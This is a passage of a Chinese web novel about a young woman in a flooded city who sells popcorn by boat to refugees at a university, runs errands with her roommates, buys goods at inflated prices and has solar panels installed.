但划船这项技能，并不是所有人都点亮了的，秦小薇半路就看到一个人坐在自制轮胎船上，他用免水洗拖把改造的船桨在水上划了好久，结果一直在原地转圈…… 段霞也想在她家洗澡，下楼的时候，还带了换洗的衣服。 秦小薇：“可以是可以，但是我家没多少水了，你只能用从外面提的水烧水洗澡。” 段霞摆了摆手：“我知道，饭饭昨天回来就和我们说了，你家没多少水了，我把提上来的水用净水片处理一下就行了……这是给你带的净水片，你拿好！” 说着，她递给秦小薇一个小号的面霜分装盒，里面有五片形似白色小药片的净水片。 段霞：“这个一片可以净化50L饮用水，一桶水放半片就够了，用完了可以去班长那领，她那 还有好几瓶……” 秦小薇点点头，接过了分装盒。 她之前看过网友的科普，知道这东西不仅可以净化饮用水，还可以处理污物、给物品消毒、给空气消毒……作用范围非常广泛。 价格也便宜，几块钱就能买到一大瓶，要不是这东西购买渠道有限，她暴雨前就买了。 五片净水片可以净化250L饮用水，普通人省着点用，渡过接下来半个月绰绰有余。 秦小薇今天的打算是中午卖四箱爆米花，傍晚卖四箱爆米花，赚9000+。 可能是意识到了这边的商机，今天除了她的船之外，教学楼附近还有别的“摊子”。 这些摊主大多都没有自己的船，他们和专门送人的运输船达成合作，在船上占个位置，只在船靠近教学楼的时候和船上有人的时候做生意。 这些摊子卖的东西奇奇怪怪，吃的、用的、玩具……什么都有。 因为船上不方便开火，摊子上卖的吃的大多是冷食，不像秦小薇的爆米花，还是温热的，一摸就知道是不久前才刚“出锅”的。 虽然多了不少竞争者，但一栋教学楼就安置了数千难民，他们学校安置了难民的教学楼有几十栋，爆米花的味道又好，有些人还是两盒四盒的买，秦小薇和段霞运过去的200盒爆米花，根本就不够分。 今天赚了不少，卖完爆米花之后，秦小薇决定去那些摊子上看一看，淘点东西。 段霞也好久没买东西了，她对那些摊子也很好奇，表现得非常兴奋。 她们有船，不用像教学楼里的难民一样，只有等船主动靠近了才能买东西，她们可以把船开过去，绑好缆绳后直接上船挑东西，或是让摊主把东西拿到围栏边让她们挑选…… 几乎每艘船上卖的东西都不一样，秦小薇觉得，逛起来还挺有意思的。 只是和暴雨前相比，现在物价贵了很多，就连白水煮鸡蛋都要五块钱一个！ 比暴雨前某些景区卖得还贵！ 但秦小薇自己就把成本几毛的爆米花卖出了25的高价，她也就不嫌弃人家价高了。 这物价看得段霞咋舌，她甚至开始感叹，之前学校食堂五块钱一份偷工减料的盒饭良心。 有对中年夫妻在家做了炸串带出来卖，炸串有面筋、包菜、火腿肠、金针菇……大多是素的。 秦小薇好久没吃这东西了，就买了一小把和段霞分了。 段霞一边吃，一边心疼秦小薇花出去的钱：“好贵啊！一串这么小的年糕竟然卖十五，以前那种大的都只要五块！” 秦小薇倒是吃得挺开心：“没办法，现在特殊情况……这家的酱料味道不错，要是热的肯定更好吃！” 这一小把炸串花了秦小薇两百多，但她们的胃只填了个底就吃完了。 两人继续逛，不过船上卖的大部分东西她们都不感兴趣，最后，秦小薇只花一百五买了两瓶一个老奶奶自己做的辣椒酱——之前暴雨的时候，没有拌饭酱拌饭的记忆让她印象太深刻了。 段霞看什么都觉得好贵好贵，秦小薇给的三百块酬劳，她一分钱都没花。 还留在学校里的运输船并不多，只花了半个小时，她们就把船上的小摊逛了个遍。 秦小薇和段霞准备划船回家，她们刚掉了个头，就有人喊住了她们：“喂，那个卖爆米花的，你过来一下！” 她们最后逛的是一艘自制的塑料筏，刚好停在教学楼边上，秦小薇顺着声音看过去，是个大腹便便的中年男人。 秦小薇昨天傍晚来这里卖过爆米花，她以为对方眼熟自己了，想找她买爆米花，便冲着对方摆摆手道：“上午的爆米花卖完了，你等下午吧！” 中年男人却回道：“我不买爆米花，你这船是不是能送货？你帮我去西苑路12号取两条烟，我给你路费。” 秦小薇之前是很想做运输生意的，但在接连受到“打击”后，她已经打消这个念头了。 但要是有人愿意给她送钱，她也不会拒之门外。 她先拿出手机查了下西苑路12号距离Q大的距离，才把船划过去。 想到这两天被“屠龙宝刀”砍价的经历，秦小薇报了个稍高的价格，等对方还价。 秦小薇：“一千二。” 这价格让中年男人皱了皱眉，但他也没还价：“货到了我再付款。” 秦小薇想了想，能让他花一千二取的烟，肯定也不是什么便宜货，要是这男的不付跑腿费，她就自己把烟卖了，按照现在的行情，赚的肯定不止一千二，便答应了。 秦小薇：“行，一手交钱一手交货。” 秦小薇又问了楼栋、门牌号、电话号码之类的信息，才和段霞划船离开。 路上，段霞还有些回不过神来：“薇薇，我怎么觉得你现在赚钱就跟捡钱一样简单？” 秦小薇：“我这两天也有这种感觉……主要还是因为暴雨涨水，船成了稀缺资源，大家都出不来。放在以前，我的爆米花卖25肯定没人卖，人家电影院的小份爆米花都才卖15……你要是有一艘船，肯定也能和我一样……” 段霞：“真羡慕你有个好邻居！” 她们两个人划船，速度比一个人划快很多，半个多小时后，两人顺着导航的指引到了目的地。 虽然顺利找到了目的地，但眼前的办公大楼并没有绳梯让她们爬进去，窗户距离她们三米多，墙面还贴了瓷砖，光溜溜的，连个受力点都没有。 秦小薇给楼里的人打了电话，想让人把烟送下来，但电话一直没人接。 秦小薇放下手机，叹了口气：“看来这单是做不成了！” 段霞打量着面前的办公大楼，忽然伸手比划道：“我们可以从水管上去，再踩着那个空调外机，爬进窗户里……” 秦小薇震惊地看着她：“爬水管上去？你认真的？” 段霞点头：“薇薇，你要是不敢，就让我来爬，最多就是掉水里，我会游泳，不会出事的！这单咱们能赚一千二呢！” 来的路上，她们就说好了，这单的钱平分，要是成功把烟送回去，段霞能拿到六百。 秦小薇还是觉得很震惊，六百块而已，有必要做这么危险的事吗？ 她不太想答应，但段霞坚持要爬，秦小薇劝不动，最后只能妥协。 她默默在心里决定，等拿到了钱，一定要给段霞多分一点……要不然这钱她拿着烫手！ 第29章 第29章奶茶（双更合一） 秦小薇从船上站了起来,紧盯着段霞爬水管的动作，她担心段霞会落水，还把唯一一件救生衣脱下来给了段霞,段霞每次落脚的时候,她比段霞本人还紧张,连呼吸都变得小心翼翼的…… 好在，段霞最后成功顺着她规划的路线爬进了楼里。 秦小薇冲着她喊道：“阿霞,我在下面等你,你有什么事就喊我！” 段霞：“好！” 段霞上楼之后，秦小薇也没完全放心,一直盯着楼上，主要是现在外面不安全，她担心段霞会在楼里出事……她甚至有些后悔,出门的时候没带防身工具。 她等了十来分钟,段霞才下来，她先把两条烟抛到船上，才顺着刚刚的路线重新回到船上,爬下来的时候，她脚滑了一下,差点就掉水里去了。 在秦小薇看来,这个过程可以说得上是“惊心动魄”了！ 秦小薇：“你总算是回来了，没碰到什么事吧？” 段霞摇了摇头：“上面有点绕，我找办公室找了 一会……” 从段霞的讲述中,秦小薇大概明白了这栋办公楼现在的情况，暴雨前，办公楼的部分楼层被老板拿来安置不想去临时安置点的员工，办公楼才没完全空置。 至于之前找她们下单的男人,则是另一家公司的高层，和这家公司有生意上的往来。 知道他烟瘾大，同时也是为了和对方达成更深的合作，办公楼里的人才拿公司里用于应酬的烟来讨好对方。 男人烟瘾犯了，这才找到秦小薇她们，让她们帮忙跑腿取烟…… 听完段霞的讲述，秦小薇感叹了一句：“抽烟真是烧钱的爱好！” 段霞：“还好他有这爱好，让我们白赚一千二。” 秦小薇：“嘿嘿嘿。” 男人并没有赖账，拿到烟之后，立刻数出十二张纸币递给两人，秦小薇在银行上班，对钱的真假非常敏感，拿到钱之后，只数了一遍，就招呼段霞准备回去。 路上，她直接分了一千给段霞。 段霞看到秦小薇递过来的纸币眼睛都亮了，但还是咬牙拒绝了：“说好了五五分的，我不能拿这么多……” 秦小薇：“这单要是没你，咱们肯定完不成，今天要是只有我一个人，看到那情况，我肯定掉头就走……你拿大头，是应该的！” 段霞：“一千太多了，我就上了趟楼，也没多做什么……” 一番“争论”后，段霞拿了九百，秦小薇分了三百，她的理由是，秦小薇找她帮忙划船，给的劳务费就是三百，跑这一趟和她们卖爆米花的时间差不多，秦小薇拿三百刚刚好。 回到秦小薇租的公寓后，段霞拿着桶和绳子下楼提水，秦小薇则在楼上开火炒饭。 净水片放进水桶里之后，要等半个小时才能完全起效，段霞也就没急着洗澡，先和秦小薇一起把中饭吃了。 秦小薇开了一罐上午买的辣椒酱，把两大盘蛋炒饭端上桌：“家里没有葱，你将就着吃！” 她知道段霞是个吃葱狂魔，每次点炒饭都会让老板多放葱，用她的话来说就是“没有葱的炒饭是没有灵魂的”。 段霞摆了摆手：“没事，现在能有口热饭吃我就很满足了……好香啊，薇薇，你手艺好好！” 炒饭粒粒分明，且每一粒米饭都被金黄的蛋液包裹着，散发出阵阵香气，看上去确实让人很有食欲。 秦小薇谦虚了一下：“也可能是你很久没吃米饭了！” 段霞胃口很好，就着辣椒酱把蛋炒饭吃了个干净。 洗完澡，她主动开口道：“薇薇，你什么时候爆爆米花，要不要我帮忙？” 秦小薇自然不敢让她帮忙，她摇了摇头：“不用，这里我一个人就能搞定，我家厨房比较小，所有的灶一起开火，多一个人反而伸展不开……阿霞，你要是没什么事，下午不如趁着我做爆米花的时候去办公楼转转，看看能不能接到单子，赚点零花钱。” 段霞有些犹豫：“船是你邻居借给你的，我用是不是不太好？” 秦小薇：“我昨天补了租金，现在船怎么用，我说了算。” 段霞：“啊？” 秦小薇眼也不眨地继续说谎：“你上午也看到了，现在手里有条船有多赚钱，船我用一会可以，一直占着用，人家心里怕是会有疙瘩……邻居好心帮了我，我总不能得寸进尺，干脆就给了租金，租了半个月。” 段霞点点头，似乎是接受了这个解释。 段霞：“薇薇，你租一艘船多少钱啊？” 秦小薇：“两千一天。” 听到这个价格，段霞直接从椅子上站了起来：“两千？那半个月不就是三万？放在暴雨前都够买一打充气船了！” 秦小薇摇了摇头：“账不是这么算的，现在根本没地方买船……其实这个价格还是有得赚的，有些远的地方，跑一趟就能赚两三千……” 段霞：“那倒是，我们中午那趟就赚了一千二！那我就把船开走了，等赚了钱，给你分钱负担租金。” “等等！”秦小薇转身去厨房拿了一把折叠水果刀和一把菜刀，菜刀没有刀鞘，她便找了几个塑料袋，把刀裹了起来，免得碰到刀锋受伤。 她把刀递给段霞：“外面不安全，这两把刀你带着防身，再去宿舍楼找个人和你一起，免得船落单被偷了，我昨天就被偷了爆米花……” 段霞没接刀：“带菜刀是不是太夸张了点？” 秦小薇：“财帛动人心，多留个心眼，总没有错，要是用不上，你再带回来就行了，两把刀也不占什么地方！” “行吧！”段霞这才接过刀，“薇薇，下午琳琳过来帮你划船，你大概几点出发？我让她到时候在楼下等你。” 秦小薇：“四点吧！那时候我爆米花应该弄好了，还能赶在天黑之前把她送回去！” “行。” 临出门前，秦小薇还把自己工作用的二手手机给了她，让她拿来导航。 送走了段霞后，秦小薇就瘫到沙发上玩手机了，她隔几十分钟起来活动一下身体，去厨房花几分钟爆一把爆米花，让房间里充斥着爆米花的味道…… 三点五十的时候，秦小薇收到了工作手机发过来的短信：薇薇，我是琳琳，我十分钟以后到你的公寓，你可以收拾一下准备下楼了。 她回了句“好的”，就开始收拾东西。 她下去的时候，船上就只有肖琳琳，她看起来非常兴奋，眉眼之间都洋溢着快乐。 秦小薇和她一起把爆米花固定在船上，才在船上坐下：“怎么这么开心？” 肖琳琳：“嘿嘿，这么明显吗？我和阿霞下午去赚钱了，薇薇，你猜我们赚了多少？” 看她这么兴奋，秦小薇猜她们应该赚了不少，她想了想，猜测道：“两千？” 肖琳琳：“不止，你再猜！大胆一点！” 秦小薇：“三千？” 肖琳琳：“三千五！我从来没想过，我竟然能一天赚这么多！” 可能是因为太兴奋了，肖琳琳把桨摇得飞快，连带着船前进的速度都比上午快了很多。 秦小薇想到自己被“屠龙宝刀”砍价的经历，有些好奇她们赚钱的经过，便和她聊了起来。 肖琳琳：“刚开始确实没人愿意用我们，说我们的船是手划的，速度太慢……后来我们降价了，才接到了一单，是个男的，他说他妈妈在另一个临时安置点生病了，想去看看她，那男的说得特别惨，我和阿霞就很同情他，还主动降了价。” 肖琳琳：“没想到，那男的竟然养蛇，半路我们让他付船费的时候，他忽然掏出几条蛇，说让我们免费把他送到目的地，要不然就放毒蛇咬我们……那几条蛇颜色特别鲜艳，我和阿霞以为蛇真的有毒，被吓得不行，只能暂时答应。” 虽然知道她俩后面肯定没事，但听她说碰到了毒蛇，秦小薇还是被吓了一跳：“后来呢？你们免费把人送到目的地了？” 肖琳琳摇头：“后来阿霞用手机识图查了下，发现那是三条杂交的宠物玉米蛇，根本就没有毒！我俩这暴脾气哪能忍？直接把他的蛇扔水里去了，还让他多出了五百的路费。” 肖琳琳：“回来的路上，我们碰到了班上的何强，他抽中了签，在另一艘船上当志愿者，他说附近有个居民楼有人在卖奶茶，价格还不贵，推荐我们去尝尝……那人没有船，只能在楼里卖，阿霞说这东西拿到教学楼那边肯定受欢迎，我们就进了一些奶茶，转手卖了出去……” 听完肖琳琳和段霞下午的经历，秦小薇不禁感叹，虽然暴雨涨水导致大部分行业停工停薪，但只要有门路弄到船，商机还是很多的。 秦小薇：“抽签？现在当志愿者还要抽签？” 暴雨停了之后，外面的水面平静了很多，应该没多少危险了，大家还是不愿意当志愿者吗？ 肖琳琳点头：“现在只有当志愿者才能吃食堂免费的饭菜、去教学楼充电，否则就只能在寝室里啃饼干，为了吃饭玩手机，很多人都找班委报名当志愿者，因 为人太多，没那么多活让我们干，辅导员就让我们抽签，一个班只能抽五个，何强运气比较好，抽中了。” 秦小薇：“……”真是旱的时候旱死，涝的时候涝死！ 傍晚和中午一样顺利，两人跑了两趟，不到一个小时，她准备的爆米花就卖完了，和之前一样，她给了肖琳琳三百当报酬，但肖琳琳没收。 不仅没收，反而还倒给了秦小薇两百，说是要和她“分担”租船的钱。 想到她下午赚了不少，秦小薇也就没推辞。 回去的时候，秦小薇看到有人在船上卖包菜，以往超市打折，只要一两块钱一斤的包菜现在要八十一颗，外面那层叶子还有点蔫巴巴的。 秦小薇空间里蔬菜的种类比较少，纵然包菜的价格很贵，她也买了一颗。 晚上加个菜吧，光吃蛋炒饭太单调了…… 晚饭她们吃的是酸辣包菜配蛋炒饭，吃饭的时候，肖琳琳这个话痨还在重复她们下午卖奶茶的事，惹得秦小薇都想喝奶茶了。 她忽然想起来，暴雨之前，她去逛商场的时候，奶茶店的员工送了她一些开封了的奶茶粉。 她起身去柜子里找出那几包奶茶粉：“琳琳，你喝不喝奶茶？我这有奶茶粉。” “喝！”肖琳琳立刻窜了过来，“有什么口味的？薇薇，你不知道，为了多赚点钱，我和阿霞今天下午都没舍得喝买回来的奶茶……” 秦小薇：“巧克力味和原味的。” 肖琳琳：“我要原味的。” 秦小薇：“煮珍珠有点麻烦，我今天就不煮了，直接泡奶茶粉……好了，你尝尝味道怎么样？” 肖琳琳接过杯子尝了一口：“……还不错哎！薇薇，你这有多少奶茶粉，可以卖吗？” 秦小薇没好气地看了她一眼：“你这个财迷就别打我的奶茶粉的主意了，加起来也就一袋，还是之前别人送的……再说了，你有封口机、一次性杯子和吸管吗？” 其实她空间里有养牛场，6头奶牛一天能收两次奶，一共6L，这分量她自己喝多了，拿出去卖又不够，她一般把多余的牛奶扔去乳品厂，生产黄油、奶酪之类的奶制品。 因为它们加工过后可以卖出更多的金币。 等肖琳琳喝完奶茶、洗完澡，秦小薇就送她回宿舍了。 临上楼前，肖琳琳还不忘叮嘱秦小薇：“薇薇，你晚上记得把备用机拿去邻居家充电，还有，明天早上早点来，千万别睡懒觉啊！” 回来的路上，秦小薇答应了她，白天在家爆爆米花的时候，把船借给室友划，趁着这几天还能捞到钱，带着她们一起发财。 秦小薇：“知道了，快上去吧！你都念叨好几遍了，我明天肯定一起床就来宿舍找你们！” 她掉了个头，开始往家划。 还没到家，秦小薇远远就看到公寓楼附近停着一艘大船，船上的大灯把周围照得亮如白昼，船上不少人都在忙碌着。 船的围栏上还绑着一个大喇叭，大喇叭里循环播放的语音提醒着公寓楼里的人出来领政府发放的物资包。 靠近后她才发现，这附近不止停了一艘船，而是隔三五栋建筑就停了一艘船，船的样式不一，大小不一，但它们都是市政的物资船，专门来给市民发放物资的。 秦小薇有些惊讶，Q大发的能量饼干她前几天就拿到手了，她还以为附近的住户也早就拿到了物资包！ 进入公寓楼内部的窗户被大船堵了个结结实实，秦小薇把船划了过去，却找不到进去的路。 船上的工作人员已经开始给公寓楼的住户分发物资了，秦小薇不好意思打断他们，让楼里那么多人为她一个人让位，便只能在一旁等着。 她记得楼上楼下有很多公司，公寓楼里应该没多少住户，这里应该很快就能结束…… 船上的工作人员很快注意到了她：“唉，你干什么的？怎么把船停在这里？” 秦小薇用手指了下面前的公寓楼：“我住楼上，本来准备回家的……” 听她这么说，工作人员从脚边的大纸箱里拿了个物资包出来：“你住几零几？身份证带了吗？” 秦小薇刚刚在边上看了一会，知道领物资包要登记身份证和详细门牌号，工作人员还会核对身份证是不是本人的。 秦小薇：“909，没带身份证，报号码可以吗？” 工作人员皱了皱眉，却还是让秦小薇报了身份证号，他手指滑动，飞快在一台和POS机很像的机器上输入秦小薇的身份证号。 “咦——你已经领过了？你是Q大的？” 秦小薇：“前两天领了七包饼干，但我雨停之后就搬回来了，以后会常住在这里……” 工作人员：“那你还是得去那边领，系统里显示你的信息登记在Q大下面，你就只能在那边领免费的物资，我们这边领不了，系统登记不上去。” 秦小薇这几天原本就会频繁出入Q大，再加上她空间里也不缺吃的，对于要回学校领物资这事，她很快就接受了。 因为靠近商场，再加上这栋楼是商住两用的公寓楼，公寓楼里几乎没什么老人，她观察了一下，出来排队领物资的，不是中年人就是年轻人。 出乎她的意料，她竟然在领物资的人群中看到了对面的男主人和李阿姨。 像他们这种有钱人，竟然也会吃能量饼干？ 她等了大概四十分钟，窗户口才不再有新人出现，人群散了后，大喇叭只继续喊了两三分钟，船就开走了，秦小薇也得以回家。 她之前看网上的新闻，说社区的工作人员会挨个上门确认市民有没有领到物资，但现实似乎并不是这样的，他们似乎急着下班，一分钟都不愿意多等，见没人排队，就直接把物资船开走了。 虽然昨天经历过一次，但黑黢黢的走廊和楼道依旧让秦小薇觉得心里毛毛的，她上楼的时候都是一步跨三个台阶，直接冲回了家。 秦小薇不愿意待在没有灯的公寓里，到家后没多久，她就直接进了空间。 玩手机、健身、逗鸡、吃夜宵……她这个晚上过得十分充实。 第二天早上六点四十，秦小薇就出发把船划去了宿舍楼，她原本还打算上楼叫下舍友，没想到范槿和肖琳琳竟然一早就下来等在窗户边上了。 秦小薇：“上午就你们两个人吗？” 充气船最多可以坐五个人，船上划船的人多一些，船速也会快一些，同样的路程花的时间也就越少，秦晓薇还以为，她们三个今天会一起出门赚钱。 范槿解释道：“阿霞来月经了，第一天肚子疼，她说她要休息一天，明天再加入我们。” 秦小薇：“这样啊。” 两人划船把秦小薇送回家后，就去进奶茶当中间商赚差价了。 秦小薇则关了门暂时宅在家里，上午没什么事，她折腾了一个多小时，利用空间里的食材，给自己做了顿丰盛的早饭。 她今天没太“堕落”，花了些时间和毕业论文较劲。 等到范槿过来敲门的时候，她才收起笔记本，穿上沾了油渍的围裙，装作忙了一上午的样子过去开门。 秦小薇：“饭饭，你怎么上来了？船在下面有人看着吗……咦，你怎么还带了两条鱼过来？” 范槿从门缝中间挤进了屋里：“琳琳在下面看着船呢！鱼是同校一个男生自己钓的，我们和他买的，一百块钱两条。薇薇，我和你说，那个男生钓鱼可厉害了，一会就上来一条，一会就上来一条，看得我都想和他买饵料了……薇薇，我们中午能在你这里吃鱼吗？” 两条鲫鱼加起来大概三斤，一百块钱两条，现在这个时候，算是很便宜了。 秦小薇找了个脸盆，往里面倒了些水，让范槿把鱼放进去，闻言回道：“行啊！不过我这连葱姜蒜都没有，做出来的菜可能没有外面好吃……” 范槿摆了摆手： “没事，有得吃就行，我们不挑。” 雨停之后，各个商家也开始想办法赚钱，今天外卖APP上线了团购活动，同一位置，在某家店团购订单超过多少份之后，他们就会安排“船手”帮忙送餐。 教学楼里有人利用这一点，在网上下单了很多份食物，再转卖给楼里的其他人赚差价。 难民们可供选择的食物多了起来，范槿她们的奶茶生意也受到了冲击，最后降了价，才把进的奶茶卖光，上午她们还注册了一个“船手”账号，通过接单帮商家送餐赚了小一千。 秦小薇今天花了比昨天更多的时间卖爆米花，但因为她的爆米花味道非常能打，外卖APP里没有同款，又很受年轻人和小朋友的欢迎，她和范槿她们带过去的爆米花，还是卖完了。 今天范槿和肖琳琳依旧没收她给的报酬，说是抵船的租金，还另外给了她四百，算是和她平摊“租船”的费用。 回来的时候，她们碰到了一个撑着竹筏卖菜的阿姨，现在市面上的肉菜基本上是供不应求的状态，能碰到都很不容易，三人便停了船，挑了些菜。 一颗阿姨自家腌的酸菜，一把大蒜叶子外加十五颗鸭蛋，一共花了她们一百八。 船上还有一笼鸡，阿姨要价五百一只，这价格瞬间浇灭了她们对鸡肉的渴望。 范槿看着充气船上的菜叹了口气：“我发现了，现在虽然赚得多，但是花的也多！放在以前，这么点东西敢卖我一百八，我绝对要和她吵起来！” 秦小薇安慰她：“往好处想，咱们至少还有个赚钱的途径，那些没钱又不能出来工作的，才更难捱……” 第30章 第30章洪水（双更合一）…… 段霞还在寝室,三人不好意思吃独食，买完了菜，还折回寝室接了段霞。 午饭是秦小薇主厨,其他三个人在客厅里打下手,秦小薇早上就把米饭煮好了,所以今天和昨天一样，主食依旧是炒饭。 三道菜分别是酸菜鱼、大蒜叶子炒鸡蛋和手撕包菜,每道菜的分量都很足,纵然四人的胃口都很大，饭菜也是够吃的。 吃饭的时候,几人也没闲着，一边吃饭一边聊宿舍楼的八卦。 段霞：“你们知道吗？裴欣她男朋友出轨，裴欣和他分手了！” 范槿夹菜的动作顿住：“什么什么？什么时候的事？我怎么不知道？” 段霞：“就今天早上！她养的那只拉布拉多不是特别能吃吗？把她分到的能量饼干都吃完了,她想找她男朋友想想办法,给拉布拉多弄点吃的，上午就坐物资船去了男寝，然后撞到他男朋友在楼道里和小三打电话,还叫人家宝宝……” “听男寝那边的人说，裴欣当时就冲过去把她男朋友的脸挠花了,说要和他分手……战况非常激烈！” 秦小薇：“脚踩两只船,渣男！” 纵然不太喜欢裴欣的性格，但大家还是更讨厌渣男，三人忍不住在饭桌上把劈腿出轨的渣男骂了一顿。 这个话题过后,段霞又说起了另一个八卦：“她室友林晓晓还说，她怀疑裴欣怀孕了……” “什么？真的吗？”这回所有人都停下了筷子。 段霞冲着几人挤眼睛：“林晓晓说裴欣回来之后口味变得特别奇怪，有时候还会吐……你们懂的吧？就很像网上说的孕反。” 肖琳琳：“她自己知道她可能怀孕了吗？” 段霞：“之前不知道，现在应该知道了……因为她们关系不太好,之前林晓晓她们三个都是在小群里讨论这件事，今天知道她被劈腿之后，就问她上次来月经是什么时候，裴欣说她已经快两个月没来月经了，然后林晓晓就提醒她赶紧想办法找人代购验孕棒……” 范槿：“要是真怀孕了，孩子她打算怎么办？” 段霞：“不知道啊，她今天回来之后就一直哭，然后整个人都有点精神恍惚的那种，香肠也一直在宿舍里嚎……我肚子痛，本来想贴着暖宝宝在床上躺一天的，但是被他们吵得根本睡不着。” 秦小薇：“一般主人难过的话，猫猫狗狗不都会陪在边上安慰主人的吗？香肠怎么跟着一起嚎？难道网上那些都是段子？” 这回还不等段霞说话，肖琳琳就抢答了：“香肠估计是饿得没心情安慰主人了！薇薇，你昨天晚上没回寝室睡不知道，香肠昨晚就饿得嚎了一个多小时，后来还是她们寝室的人受不了了，喂了点能量饼干它才停下来，早上三点多的时候，它醒了，又开始嚎……我们几个都被吵醒了！” 秦小薇想象了一下那种住宿环境，忍不住摇了摇头。 校规禁止养狗，不是没有道理的！ 四人的胃口很好，中午的饭菜她们吃得只剩下了一点酸菜鱼的汤汁和酸菜。 由于那颗酸菜是她们花60买的，几人都不舍得倒掉，纷纷表示，晚上要用它煮面吃。 下午的四箱爆米花，秦小薇也顺利卖掉了，晚饭三个室友也是留在她的出租房吃的。 她们三个胃口都不小，担心把秦小薇家的大米吃光了，范槿她们下午做“船手”的时候，还想办法弄了一袋大米回来，俨然有把她家当成临时食堂的趋势。 秦小薇倒是无所谓，只要她们不在她“爆爆米花”的时候来她家就行了。 特殊情况，把家里的厨房借给朋友用一下改善生活，也没什么，况且原主大一打多份工攒钱的时候，她们三个也没少帮原主…… 秦小薇第二天的行程，和前一天差不多，她的生意不像前两天那么火爆，她花了更多的时间才把爆米花卖完。 傍晚的时候，秦小薇接到了一个陌生电话：“你好，我是跃能的师傅，你买的两套太阳能发电板到了，你现在在家吗？我现在可以上门……” 发电板昨天就显示发货了，但是商家并没有上传单号，系统里也没有物流记录，秦小薇还以为要再等两天才能收到太阳能发电板，没想到竟然按时到货了！ 接电话的时候，秦小薇刚好卖完了船上的爆米花，本来她和室友是计划买点菜再回去做饭的，一听说发电板到了，她立刻打消了买菜的念头。 秦小薇：“在家！在家！您大概什么时间到？” 师傅又问了她家的详细地址、楼层、出入楼栋的方式，才给出准确答案：“你那边建筑太密了，大船过不去，得换小船过去，可能要晚一点，天黑之前应该能到……” 秦小薇：“行，师傅，我在家里等你，你到了打我电话！” 挂断电话后，船上其余三人都看向她：“薇薇，出什么事了？你现在要回去？” 秦小薇：“我在网上买的太阳能发电板到了，师傅说现在过来安装……” 范槿瞬间坐直了身体，她兴奋道：“是你邻居家用的那种吗？” 室友们做船手接订单需要用到手机，秦小薇不想让她们一直用自己的手机，便用空间里的户外电源轮流给她们的手机充电，给出的理由就是蹭的对面邻居的电。 对面24小时开空调，天一黑就能看到窗户里透出来的灯光，一看就知道他们家电量充足，三个室友一直没有怀疑秦小薇在说谎。 秦小薇摇头：“他们家装的是跃能的高端线，我买的是平价款。” 范槿：“薇薇，等你家有电了，我可以把充电宝、手机、台灯都拿去充电吗？我好久都没正经刷手机了……拜托！拜托！” 她双手合十放在胸前，对着秦小薇晃了晃，满眼都是期待。 秦小薇故作为难地皱了皱眉，见范槿的表情变得忐忑起来，她才憋不住笑出了声。 她伸手捏了下范槿肉肉的脸颊：“当然没问题，不 过我家没那么多插孔，你们三个要是带太多东西来充电，恐怕得自备插线板！” 范槿：“没问题，反正现在寝室里也用不上插线板。” 时间还有富余，其实她们可以买完了菜再回去等师傅，但四人都怕师傅提前到错过了。 四人商量了一番，最后决定，先把秦小薇和段霞送回公寓等人，范槿和肖琳琳再去买菜。 暴雨之前，超市里的食物就被抢购一空了，大部分超市和菜市场都处于低楼层，现在都还泡在水里，再加上现在交通不好，商家们想进货也很困难，因此就算雨已经停了四天了，超市和菜市场也始终没有要开门营业的迹象。 她们现在想买菜，只有两种途径，一种是刷同城APP，看上面有没有人卖菜，下单后上门自取或是等商家送货上门；还有一种就是碰运气，划着船去人员密集的建筑附近转悠，看看能不能碰到出来卖菜的商家…… 范槿她们今天运气很好，带回来了两节香肠和一个大冬瓜，冬瓜的个头很大，目测至少有二十斤。 秦小薇：“怎么买了一个这么大的冬瓜？” 她平时去超市买冬瓜，都是一小片一小片地买。 范槿：“这个冬瓜比较便宜，你家明天就有电了，我们想着放冰箱里不会坏，就买了一整个回来。” 秦小薇：“那得把它切了，我家是小冰箱，直接放进去冰箱门就关不起来了……这冬瓜多少钱？” 范槿挺起胸膛，表情十分得意，像是捡到了什么大便宜：“一百五，便宜吧？” 虽然官方每天都在发打击商贩哄抬物价的新闻，但外面的物价却一天比一天高，秦小薇上午碰到一个商贩，几根葱都敢要价三十块，放在以前，那几根葱都是拿来当搭头白送给顾客的…… 现在低于二十块一斤的蔬菜，在她们看来都算便宜，不到十块钱一斤的冬瓜算是“白菜价”了。 秦小薇：“确实，这么大，够我们吃到水退了……咱们之后只要买肉就行了。” 范槿小鸡啄米似的点头：“没错，我就是这么想的！” 吃完晚饭，她们又等了半个多小时，秦小薇才接到师傅的电话。 因为秦小薇住的是高层，需要高空作业，跃能一共安排了五个师傅过来。 师傅：“美女，这两套都安在这个房间里吗？” “安装一套就可以了，另一套是帮我同事买的，暂时不用装……”秦小薇随便找了个理由糊弄过去了，“师傅，天都黑了，你们干活方便吗？” 师傅非常自信地保证道：“没问题！我们做这个好多年了，闭着眼睛都能给你弄好……” 见他们装备确实非常齐全，秦小薇也就没再多说什么。 因为另一套发电板她是打算放空间里用的，秦小薇便在师傅安装的时候多观察了一下，想要学习学习。 然后她就发现，这套装备安装起来真的非常简单，只要把所有的零件、电线组合起来就行了，其中最难的部分，是师傅穿着高空作业安全绳，在外墙上用电钻打孔，把发电板固定在外墙上，还有拉线改屋里的线路…… 但空间里的建筑都比较矮，她操作的时候根本不用拿安全绳把自己吊起来，实在不行，直接找个空地放发电板就能直接用；空间里就一个插线板，也不需要秦小薇另外改电路。 五个师傅的动作确实很熟练，不到两个小时，他们就弄好了。 师傅：“这个开关是外面的板子的，按一下就能切换电路……” 随着师傅的动作，屋里的灯亮了，冰箱的压缩机也响起了工作时独有的“嗡嗡”声。 范槿：“师傅，现在不是晚上吗？怎么会有电？” 师傅关掉了头灯的开关，解释道：“这套设备配了蓄电池的，这一块就是，电池出厂的时候就有电……” 范槿：“太好了，我可以给手机充电了！” 昨晚秦小薇拿了范槿的手机去“邻居”家充电，今天接单要用手机，她的手机一直带在身上。 几个师傅服务态度非常好，之后，其中一个师傅又叮嘱了秦小薇一些发电板使用的注意事项。 另一个师傅忽然拿出一张收款码：“美女，麻烦把高空作业费付一下，一共4000。” 秦小薇：？？？ 秦小薇拿出手机，打开商品详情页，让在场的师傅看：“你们客服不是说免费送货上门，免费安装吗？” 师傅：“是啊！送货、改电路、安装我们都没收钱，我收的是高空作业的钱，我们大晚上吊在楼外面给你干活，肯定要收钱的！” 秦小薇：“……那你也应该提前说清楚啊！” 师傅理直气壮：“你也没问啊！” 段霞有些生气：“我们问了！还没上楼的时候我室友就问了，你说免费安装，连电线的辅料钱都不用出，箱子里都配了！” 师傅：“是免费的啊！我现在收的是高空作业的钱。” 